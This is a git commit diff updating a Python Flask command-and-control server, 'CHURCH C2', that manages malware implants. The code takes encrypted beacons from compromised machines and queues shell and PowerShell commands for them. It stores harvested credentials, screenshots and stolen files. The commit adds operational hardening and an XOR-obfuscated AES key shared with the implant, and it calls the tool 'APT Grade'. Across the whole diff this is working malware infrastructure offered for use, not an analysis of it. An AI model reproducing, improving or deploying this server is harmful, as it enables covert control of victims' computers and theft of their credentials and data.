Update c2_final.py

This commit is contained in:
ek0ms savi0r 2026-06-01 11:26:25 +00:00
parent f2a241f6e2
commit 177c0ee99b

View File

@ -1,69 +1,130 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
""" """
CHURCH C2 SERVER CHURCH C2 SERVER
Enterprise-level Command & Control infrastructure
Features: Multi-session management, SQLite persistence, Web UI, REST API,
Plugin system, Report generation, Team collaboration, and Stealth operations
""" """
from flask import Flask, request, jsonify, make_response, render_template_string, session, redirect, url_for import os
from flask_socketio import SocketIO, emit import sys
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes import time
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.backends import default_backend
from werkzeug.security import generate_password_hash, check_password_hash
from functools import wraps
import sqlite3
import json import json
import base64 import base64
import time
import threading
import queue
import logging import logging
import argparse import argparse
import sys import threading
import os import sqlite3
import uuid
import random
import string
import datetime
import requests
import ipaddress
import hashlib
import secrets import secrets
import hashlib
import uuid
from pathlib import Path from pathlib import Path
from dataclasses import dataclass, asdict from functools import wraps
from typing import Dict, List, Optional, Any
from collections import defaultdict from collections import defaultdict
from datetime import timedelta
from flask import (
Flask, request, jsonify, make_response,
render_template_string, session, redirect, url_for
)
from flask_socketio import SocketIO, emit
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from werkzeug.security import generate_password_hash, check_password_hash
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
# ==================== CONFIGURATION ==================== # ==================== CONFIGURATION ====================
VERSION = "2.0.0" VERSION = "2.1.0"
AES_KEY = b"ChurchOfMalware2024!!ChurchOfMalware2024!!" XOR_KEY = 0xDD
AES_IV = b"MalwareChurchIV!!" CONFIG_FILE = "church_c2.cfg"
JWT_SECRET = secrets.token_hex(32) JWT_SECRET_FILE = "jwt_secret.key"
ADMIN_USERNAME = "admin"
ADMIN_PASSWORD_HASH = generate_password_hash("CHURCHadmin2024!!")
DATABASE_PATH = "church_c2.db" DATABASE_PATH = "church_c2.db"
LOG_PATH = "church_c2.log" LOG_PATH = "church_c2.log"
DOWNLOAD_PATH = "downloads" DOWNLOAD_PATH = "downloads"
PLUGIN_PATH = "plugins" PLUGIN_PATH = "plugins"
SSL_CERT = "cert.pem" SSL_CERT = "cert.pem"
SSL_KEY = "key.pem" SSL_KEY = "key.pem"
ALLOWED_ORIGINS = ["https://localhost:443", "https://127.0.0.1:443"] # adjust as needed
# XOR-obfuscated AES key and IV (same as implant, key 0xDD)
# Original: b"ChurchOfMalware2024!!ChurchOfMalware2024!!"
AES_KEY_OBF = b"\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAA\xA5\xB1\xA7\xA5\xAD\xB4\x23"
# Original: b"MalwareChurchIV!!"
AES_IV_OBF = b"\xB1\xB8\xB7\xAF\xB2\xB9\xA5\xA7\xA8\xB9\xA7\xA6\xF5\xF4\xF4\x23"
def xor_deobfuscate(data: bytes) -> bytes:
return bytes([b ^ XOR_KEY for b in data])
AES_KEY = xor_deobfuscate(AES_KEY_OBF)
AES_IV = xor_deobfuscate(AES_IV_OBF)
# JWT secret persist across restarts
def get_or_create_jwt_secret():
if os.path.exists(JWT_SECRET_FILE):
with open(JWT_SECRET_FILE, "rb") as f:
return f.read().decode()
else:
secret = secrets.token_hex(32)
with open(JWT_SECRET_FILE, "w") as f:
f.write(secret)
os.chmod(JWT_SECRET_FILE, 0o600)
return secret
JWT_SECRET = get_or_create_jwt_secret()
# Admin credentials read from config or env (never hardcoded)
def get_admin_creds():
# Try config file first
if os.path.exists(CONFIG_FILE):
with open(CONFIG_FILE) as f:
for line in f:
if line.startswith("ADMIN_USERNAME="):
username = line.strip().split("=", 1)[1]
elif line.startswith("ADMIN_PASSWORD_HASH="):
pwd_hash = line.strip().split("=", 1)[1]
if 'username' in locals() and 'pwd_hash' in locals():
return username, pwd_hash
# Fallback to environment variables
username = os.environ.get("CHURCH_ADMIN_USER", "admin")
pwd_hash = os.environ.get("CHURCH_ADMIN_HASH")
if not pwd_hash:
# Generate a random password on first run and print to console
random_pass = secrets.token_urlsafe(16)
pwd_hash = generate_password_hash(random_pass)
print(f"\n[!] No admin password set. Generated random password: {random_pass}")
print("[!] Save this immediately! You can change it via the web UI.\n")
return username, pwd_hash
ADMIN_USERNAME, ADMIN_PASSWORD_HASH = get_admin_creds()
# Initialize Flask # Initialize Flask
app = Flask(__name__) app = Flask(__name__)
app.config['SECRET_KEY'] = JWT_SECRET app.config['SECRET_KEY'] = JWT_SECRET
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024 # 100MB app.config['SESSION_COOKIE_HTTPONLY'] = True
socketio = SocketIO(app, cors_allowed_origins="*") app.config['SESSION_COOKIE_SECURE'] = True # only over HTTPS
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024
# Rate limiter
limiter = Limiter(
app,
key_func=get_remote_address,
default_limits=["200 per day", "50 per hour"],
storage_uri="memory://"
)
# SocketIO with strict CORS
socketio = SocketIO(
app,
cors_allowed_origins=ALLOWED_ORIGINS,
logger=False,
engineio_logger=False
)
# ==================== DATABASE ==================== # ==================== DATABASE ====================
def init_database(): def init_database():
"""Initialize SQLite database with all tables""" """Initialize SQLite database with all tables (idempotent)"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
# Beacons table - stores all implant sessions
c.execute('''CREATE TABLE IF NOT EXISTS beacons ( c.execute('''CREATE TABLE IF NOT EXISTS beacons (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT UNIQUE NOT NULL, beacon_id TEXT UNIQUE NOT NULL,
@ -87,7 +148,6 @@ def init_database():
notes TEXT notes TEXT
)''') )''')
# Tasks table - command queue
c.execute('''CREATE TABLE IF NOT EXISTS tasks ( c.execute('''CREATE TABLE IF NOT EXISTS tasks (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@ -102,7 +162,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
# Results table - command output history
c.execute('''CREATE TABLE IF NOT EXISTS results ( c.execute('''CREATE TABLE IF NOT EXISTS results (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@ -112,7 +171,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
# Files table - downloaded files tracking
c.execute('''CREATE TABLE IF NOT EXISTS files ( c.execute('''CREATE TABLE IF NOT EXISTS files (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@ -125,7 +183,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
# Credentials table - harvested credentials
c.execute('''CREATE TABLE IF NOT EXISTS credentials ( c.execute('''CREATE TABLE IF NOT EXISTS credentials (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@ -137,7 +194,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
# Screenshots table
c.execute('''CREATE TABLE IF NOT EXISTS screenshots ( c.execute('''CREATE TABLE IF NOT EXISTS screenshots (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@ -146,7 +202,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
# Tags table for beacon classification
c.execute('''CREATE TABLE IF NOT EXISTS tags ( c.execute('''CREATE TABLE IF NOT EXISTS tags (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
beacon_id TEXT NOT NULL, beacon_id TEXT NOT NULL,
@ -154,7 +209,6 @@ def init_database():
FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id) FOREIGN KEY (beacon_id) REFERENCES beacons(beacon_id)
)''') )''')
# Users table for team collaboration
c.execute('''CREATE TABLE IF NOT EXISTS users ( c.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL, username TEXT UNIQUE NOT NULL,
@ -163,7 +217,6 @@ def init_database():
created_at REAL created_at REAL
)''') )''')
# Audit log
c.execute('''CREATE TABLE IF NOT EXISTS audit_log ( c.execute('''CREATE TABLE IF NOT EXISTS audit_log (
id INTEGER PRIMARY KEY AUTOINCREMENT, id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT, username TEXT,
@ -184,12 +237,12 @@ def init_database():
# ==================== CRYPTOGRAPHY ==================== # ==================== CRYPTOGRAPHY ====================
class CryptoManager: class CryptoManager:
"""Advanced cryptographic operations for C2 communication"""
@staticmethod @staticmethod
def decrypt_aes(data_b64: str) -> bytes: def decrypt_aes(data_b64: str) -> bytes:
"""AES-256-CBC decryption""" """AES-256-CBC decryption with robust CRLF stripping"""
ciphertext = base64.b64decode(data_b64) # Remove all whitespace and CRLF that may have been inserted by CryptBinaryToString
cleaned = ''.join(data_b64.split())
ciphertext = base64.b64decode(cleaned)
cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
decryptor = cipher.decryptor() decryptor = cipher.decryptor()
plaintext = decryptor.update(ciphertext) + decryptor.finalize() plaintext = decryptor.update(ciphertext) + decryptor.finalize()
@ -198,42 +251,21 @@ class CryptoManager:
@staticmethod @staticmethod
def encrypt_aes(plaintext: bytes) -> str: def encrypt_aes(plaintext: bytes) -> str:
"""AES-256-CBC encryption""" """AES-256-CBC encryption without extra whitespace"""
pad_len = 16 - (len(plaintext) % 16) pad_len = 16 - (len(plaintext) % 16)
plaintext += bytes([pad_len]) * pad_len plaintext += bytes([pad_len]) * pad_len
cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend()) cipher = Cipher(algorithms.AES(AES_KEY), modes.CBC(AES_IV), backend=default_backend())
encryptor = cipher.encryptor() encryptor = cipher.encryptor()
ciphertext = encryptor.update(plaintext) + encryptor.finalize() ciphertext = encryptor.update(plaintext) + encryptor.finalize()
# No newlines in base64 implant expects clean string
return base64.b64encode(ciphertext).decode() return base64.b64encode(ciphertext).decode()
@staticmethod
def generate_rsa_keypair() -> tuple:
"""Generate RSA keypair for secure file transfers"""
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=4096,
backend=default_backend()
)
public_key = private_key.public_key()
return private_key, public_key
@staticmethod
def rsa_encrypt(public_key_pem: bytes, data: bytes) -> bytes:
"""RSA encryption for sensitive data"""
public_key = serialization.load_pem_public_key(public_key_pem, backend=default_backend())
return public_key.encrypt(
data,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# ==================== BEACON MANAGER ==================== # ==================== BEACON MANAGER ====================
from dataclasses import dataclass, asdict
from typing import Dict, List, Optional
@dataclass @dataclass
class Beacon: class Beacon:
"""Beacon session management"""
beacon_id: str beacon_id: str
computer_name: str computer_name: str
username: str username: str
@ -270,15 +302,12 @@ class Beacon:
) )
class BeaconManager: class BeaconManager:
"""Manages all active beacon sessions"""
def __init__(self): def __init__(self):
self._beacons: Dict[str, Beacon] = {} self._beacons: Dict[str, Beacon] = {}
self._lock = threading.Lock() self._lock = threading.Lock()
self._load_from_db() self._load_from_db()
def _load_from_db(self): def _load_from_db(self):
"""Load existing beacons from database"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("SELECT * FROM beacons WHERE status = 'active'") c.execute("SELECT * FROM beacons WHERE status = 'active'")
@ -288,7 +317,7 @@ class BeaconManager:
conn.close() conn.close()
def update_beacon(self, data: dict) -> Beacon: def update_beacon(self, data: dict) -> Beacon:
"""Update or create beacon from beacon data""" # Use UUID to avoid collisions
beacon_id = self._generate_beacon_id(data['computer'], data['user']) beacon_id = self._generate_beacon_id(data['computer'], data['user'])
with self._lock: with self._lock:
@ -318,16 +347,17 @@ class BeaconManager:
beacon.uptime = data.get('uptime', beacon.uptime) beacon.uptime = data.get('uptime', beacon.uptime)
beacon.defender_status = data.get('defender', beacon.defender_status) beacon.defender_status = data.get('defender', beacon.defender_status)
self._update_beacon(beacon) self._update_beacon(beacon)
return beacon return beacon
def _generate_beacon_id(self, computer: str, user: str) -> str: def _generate_beacon_id(self, computer: str, user: str) -> str:
"""Generate unique beacon identifier""" """Unique beacon ID using UUID to avoid collisions"""
data = f"{computer}\\{user}".encode() # Use deterministic UUID v5 based on computer+user to keep same ID across sessions
return hashlib.md5(data).hexdigest()[:16] # but still unique across different (computer,user) pairs
namespace = uuid.NAMESPACE_DNS
name = f"{computer}\\{user}"
return str(uuid.uuid5(namespace, name))
def _save_beacon(self, beacon: Beacon): def _save_beacon(self, beacon: Beacon):
"""Save beacon to database"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute('''INSERT OR REPLACE INTO beacons c.execute('''INSERT OR REPLACE INTO beacons
@ -345,11 +375,9 @@ class BeaconManager:
conn.close() conn.close()
def _update_beacon(self, beacon: Beacon): def _update_beacon(self, beacon: Beacon):
"""Update existing beacon"""
self._save_beacon(beacon) self._save_beacon(beacon)
def get_pending_tasks(self, beacon_id: str) -> List[dict]: def get_pending_tasks(self, beacon_id: str) -> List[dict]:
"""Get pending tasks for beacon"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("SELECT id, command, arguments, task_type FROM tasks WHERE beacon_id = ? AND status = 'pending' ORDER BY created_at", (beacon_id,)) c.execute("SELECT id, command, arguments, task_type FROM tasks WHERE beacon_id = ? AND status = 'pending' ORDER BY created_at", (beacon_id,))
@ -358,7 +386,6 @@ class BeaconManager:
return tasks return tasks
def mark_task_completed(self, task_id: int, output: str): def mark_task_completed(self, task_id: int, output: str):
"""Mark task as completed and store output"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?", c.execute("UPDATE tasks SET status = 'completed', output = ?, completed_at = ? WHERE id = ?",
@ -368,7 +395,6 @@ class BeaconManager:
self._audit("task_completed", str(task_id)) self._audit("task_completed", str(task_id))
def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int: def add_task(self, beacon_id: str, command: str, args: str = "", task_type: str = "cmd") -> int:
"""Add task to beacon queue"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute('''INSERT INTO tasks (beacon_id, command, arguments, task_type, status, created_at) c.execute('''INSERT INTO tasks (beacon_id, command, arguments, task_type, status, created_at)
@ -381,7 +407,6 @@ class BeaconManager:
return task_id return task_id
def _audit(self, action: str, target: str): def _audit(self, action: str, target: str):
"""Log audit entry"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)", c.execute("INSERT INTO audit_log (username, action, target, timestamp, ip_address) VALUES (?, ?, ?, ?, ?)",
@ -390,12 +415,10 @@ class BeaconManager:
conn.close() conn.close()
def get_all_beacons(self) -> List[Beacon]: def get_all_beacons(self) -> List[Beacon]:
"""Get all active beacons"""
with self._lock: with self._lock:
return list(self._beacons.values()) return list(self._beacons.values())
def get_beacon(self, beacon_id: str) -> Optional[Beacon]: def get_beacon(self, beacon_id: str) -> Optional[Beacon]:
"""Get beacon by ID"""
return self._beacons.get(beacon_id) return self._beacons.get(beacon_id)
beacon_manager = BeaconManager() beacon_manager = BeaconManager()
@ -713,22 +736,87 @@ HTML_TEMPLATE = '''
</html> </html>
''' '''
# ==================== FLASK ROUTES ==================== # ==================== AUTHENTICATION HELPERS ====================
def require_auth(f): def require_auth(f):
@wraps(f) @wraps(f)
def decorated(*args, **kwargs): def decorated(*args, **kwargs):
# Check session cookie first (for web UI)
if session.get('authenticated'):
return f(*args, **kwargs)
# Then check X-Auth-Token header (for API clients)
auth = request.headers.get('X-Auth-Token') auth = request.headers.get('X-Auth-Token')
if auth != JWT_SECRET and not session.get('authenticated'): if auth and auth == JWT_SECRET:
return jsonify({"error": "Unauthorized"}), 401 return f(*args, **kwargs)
return f(*args, **kwargs) return jsonify({"error": "Unauthorized"}), 401
return decorated return decorated
@app.route('/login', methods=['POST'])
def login():
"""Web UI login endpoint"""
data = request.json
username = data.get('username')
password = data.get('password')
conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor()
c.execute("SELECT password_hash, role FROM users WHERE username = ?", (username,))
row = c.fetchone()
conn.close()
if row and check_password_hash(row[0], password):
session['authenticated'] = True
session['username'] = username
session['role'] = row[1]
return jsonify({"success": True})
return jsonify({"success": False}), 401
@app.route('/logout', methods=['POST'])
def logout():
session.clear()
return jsonify({"success": True})
# ==================== FLASK ROUTES ====================
@app.route('/') @app.route('/')
def index(): def index():
"""Web UI""" """Web UI - serves login page or dashboard based on session"""
if not session.get('authenticated'):
return '''
<!DOCTYPE html>
<html>
<head><title>Church C2 Login</title>
<style>
body { background: #0a0e27; font-family: monospace; display: flex; justify-content: center; align-items: center; height: 100vh; }
.login { background: #0f0c29; border: 1px solid #00ffaa; padding: 30px; border-radius: 10px; width: 300px; }
input { width: 100%; padding: 10px; margin: 10px 0; background: #1a1a3e; border: 1px solid #00ffaa; color: #00ffaa; }
button { width: 100%; padding: 10px; background: #00ffaa; color: #0a0e27; border: none; cursor: pointer; }
</style>
</head>
<body>
<div class="login">
<h2>Church C2 Login</h2>
<input type="text" id="username" placeholder="Username">
<input type="password" id="password" placeholder="Password">
<button onclick="login()">Login</button>
</div>
<script>
function login() {
fetch('/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({username: document.getElementById('username').value, password: document.getElementById('password').value})
}).then(res => {
if (res.ok) location.reload();
else alert('Invalid credentials');
});
}
</script>
</body>
</html>
'''
return render_template_string(HTML_TEMPLATE, version=VERSION) return render_template_string(HTML_TEMPLATE, version=VERSION)
@app.route('/beacon', methods=['POST']) @app.route('/beacon', methods=['POST'])
@limiter.limit("10 per minute")
def beacon_handler(): def beacon_handler():
"""Primary beacon endpoint - receives beacon data and returns tasks""" """Primary beacon endpoint - receives beacon data and returns tasks"""
data = request.form.get('d') or request.form.get('data') data = request.form.get('d') or request.form.get('data')
@ -742,13 +830,9 @@ def beacon_handler():
logging.error(f"Decrypt failed: {e}") logging.error(f"Decrypt failed: {e}")
return "Bad data", 400 return "Bad data", 400
# Update beacon in database
beacon = beacon_manager.update_beacon(beacon_data) beacon = beacon_manager.update_beacon(beacon_data)
# Log beacon activity
logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}") logging.info(f"BEACON: {beacon.computer_name}\\{beacon.username} | Admin: {beacon.is_admin} | Defender: {beacon.defender_status}")
# Get pending tasks
pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id) pending_tasks = beacon_manager.get_pending_tasks(beacon.beacon_id)
if pending_tasks: if pending_tasks:
@ -763,13 +847,11 @@ def beacon_handler():
response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False}) response = json.dumps({"task_id": 0, "command": "", "args": "", "ps": False})
encrypted_response = CryptoManager.encrypt_aes(response.encode()) encrypted_response = CryptoManager.encrypt_aes(response.encode())
# Notify WebSocket clients
socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id}) socketio.emit('beacon_update', {'beacon_id': beacon.beacon_id})
return encrypted_response, 200, {'Content-Type': 'application/octet-stream'} return encrypted_response, 200, {'Content-Type': 'application/octet-stream'}
@app.route('/beacon/result', methods=['POST']) @app.route('/beacon/result', methods=['POST'])
@limiter.limit("10 per minute")
def task_result(): def task_result():
"""Receive command output from beacon""" """Receive command output from beacon"""
data = request.form.get('d') or request.form.get('data') data = request.form.get('d') or request.form.get('data')
@ -793,15 +875,15 @@ def task_result():
@app.route('/api/beacons', methods=['GET']) @app.route('/api/beacons', methods=['GET'])
@require_auth @require_auth
@limiter.limit("30 per minute")
def api_beacons(): def api_beacons():
"""API: List all beacons"""
beacons = beacon_manager.get_all_beacons() beacons = beacon_manager.get_all_beacons()
return jsonify([b.to_dict() for b in beacons]) return jsonify([b.to_dict() for b in beacons])
@app.route('/api/beacon/<beacon_id>', methods=['GET']) @app.route('/api/beacon/<beacon_id>', methods=['GET'])
@require_auth @require_auth
@limiter.limit("30 per minute")
def api_beacon(beacon_id): def api_beacon(beacon_id):
"""API: Get specific beacon details"""
beacon = beacon_manager.get_beacon(beacon_id) beacon = beacon_manager.get_beacon(beacon_id)
if not beacon: if not beacon:
return jsonify({"error": "Beacon not found"}), 404 return jsonify({"error": "Beacon not found"}), 404
@ -809,13 +891,12 @@ def api_beacon(beacon_id):
@app.route('/api/task', methods=['POST']) @app.route('/api/task', methods=['POST'])
@require_auth @require_auth
@limiter.limit("20 per minute")
def api_add_task(): def api_add_task():
"""API: Add task to beacon"""
data = request.json data = request.json
if not data or 'host' not in data or 'command' not in data: if not data or 'host' not in data or 'command' not in data:
return jsonify({"error": "Missing host or command"}), 400 return jsonify({"error": "Missing host or command"}), 400
# Resolve beacon ID (can be computer name or full beacon_id)
beacon = None beacon = None
for b in beacon_manager.get_all_beacons(): for b in beacon_manager.get_all_beacons():
if b.beacon_id == data['host'] or b.computer_name == data['host']: if b.beacon_id == data['host'] or b.computer_name == data['host']:
@ -831,13 +912,12 @@ def api_add_task():
data.get('args', ''), data.get('args', ''),
'powershell' if data.get('powershell', False) else 'cmd' 'powershell' if data.get('powershell', False) else 'cmd'
) )
return jsonify({"status": "added", "task_id": task_id}) return jsonify({"status": "added", "task_id": task_id})
@app.route('/api/tasks/<beacon_id>', methods=['GET']) @app.route('/api/tasks/<beacon_id>', methods=['GET'])
@require_auth @require_auth
@limiter.limit("30 per minute")
def api_tasks(beacon_id): def api_tasks(beacon_id):
"""API: Get tasks for beacon"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("SELECT id, command, arguments, task_type, status, output, created_at FROM tasks WHERE beacon_id = ? ORDER BY created_at DESC LIMIT 50", (beacon_id,)) c.execute("SELECT id, command, arguments, task_type, status, output, created_at FROM tasks WHERE beacon_id = ? ORDER BY created_at DESC LIMIT 50", (beacon_id,))
@ -847,8 +927,8 @@ def api_tasks(beacon_id):
@app.route('/api/stats', methods=['GET']) @app.route('/api/stats', methods=['GET'])
@require_auth @require_auth
@limiter.limit("10 per minute")
def api_stats(): def api_stats():
"""API: Get system statistics"""
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("SELECT COUNT(*) FROM beacons WHERE status = 'active'") c.execute("SELECT COUNT(*) FROM beacons WHERE status = 'active'")
@ -875,10 +955,8 @@ def handle_connect():
def handle_disconnect(): def handle_disconnect():
print(f"[WebSocket] Client disconnected") print(f"[WebSocket] Client disconnected")
# ==================== LOGGING & MONITORING ==================== # ==================== LOGGING ====================
class C2Logger: class C2Logger:
"""Advanced logging with rotation and encryption"""
def __init__(self, log_path: str): def __init__(self, log_path: str):
self.log_path = log_path self.log_path = log_path
self._setup_logging() self._setup_logging()
@ -906,22 +984,20 @@ c2_logger = C2Logger(LOG_PATH)
# ==================== CLEANUP THREAD ==================== # ==================== CLEANUP THREAD ====================
def cleanup_old_beacons(): def cleanup_old_beacons():
"""Remove stale beacons after timeout"""
while True: while True:
time.sleep(300) # Every 5 minutes time.sleep(300)
timeout = time.time() - 3600 # 1 hour timeout timeout = time.time() - 3600
conn = sqlite3.connect(DATABASE_PATH) conn = sqlite3.connect(DATABASE_PATH)
c = conn.cursor() c = conn.cursor()
c.execute("UPDATE beacons SET status = 'stale' WHERE last_seen < ? AND status = 'active'", (timeout,)) c.execute("UPDATE beacons SET status = 'stale' WHERE last_seen < ? AND status = 'active'", (timeout,))
conn.commit() conn.commit()
conn.close() conn.close()
# ==================== MAIN ENTRY POINT ==================== # ==================== MAIN ====================
def main(): def main():
parser = argparse.ArgumentParser(description='CHURCH C2 Server') parser = argparse.ArgumentParser(description='CHURCH C2 Server - Hardened APT Grade')
parser.add_argument('--host', default='0.0.0.0', help='Bind address') parser.add_argument('--host', default='0.0.0.0', help='Bind address')
parser.add_argument('--port', type=int, default=443, help='Bind port') parser.add_argument('--port', type=int, default=443, help='Bind port (HTTPS only)')
parser.add_argument('--http', action='store_true', help='Use HTTP instead of HTTPS')
parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path') parser.add_argument('--cert', default=SSL_CERT, help='SSL certificate path')
parser.add_argument('--key', default=SSL_KEY, help='SSL key path') parser.add_argument('--key', default=SSL_KEY, help='SSL key path')
args = parser.parse_args() args = parser.parse_args()
@ -935,30 +1011,19 @@ def main():
cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True) cleanup_thread = threading.Thread(target=cleanup_old_beacons, daemon=True)
cleanup_thread.start() cleanup_thread.start()
# Banner
print(""" print("""
CHURCH C2 SERVER v2.0 CHURCH C2 SERVER v2.1
by ek0ms savi0r by ek0ms savi0r
[] AES-256-CBC Encrypted Channel
[] SQLite Persistence
[] WebSocket Real-time Updates
[] Multi-session Management
[] Task Queue System
[] Audit Logging
""") """)
print(f"[*] Starting C2 server on {args.host}:{args.port}") print(f"[*] Starting C2 server on {args.host}:{args.port} (HTTPS only)")
print(f"[*] Web UI: http{'s' if not args.http else ''}://{args.host}:{args.port}") print(f"[*] Web UI: https://{args.host}:{args.port}")
print(f"[*] API Key: {JWT_SECRET}") print(f"[*] API Key (for external tools): {JWT_SECRET}")
print("[*] Default credentials: admin / CHURCHadmin2024!!") print(f"[*] Admin login: {ADMIN_USERNAME} (use password from config/env or random printed above)")
if args.http: socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
socketio.run(app, host=args.host, port=args.port, debug=False)
else:
socketio.run(app, host=args.host, port=args.port, ssl_context=(args.cert, args.key), debug=False)
if __name__ == '__main__': if __name__ == '__main__':
main() main()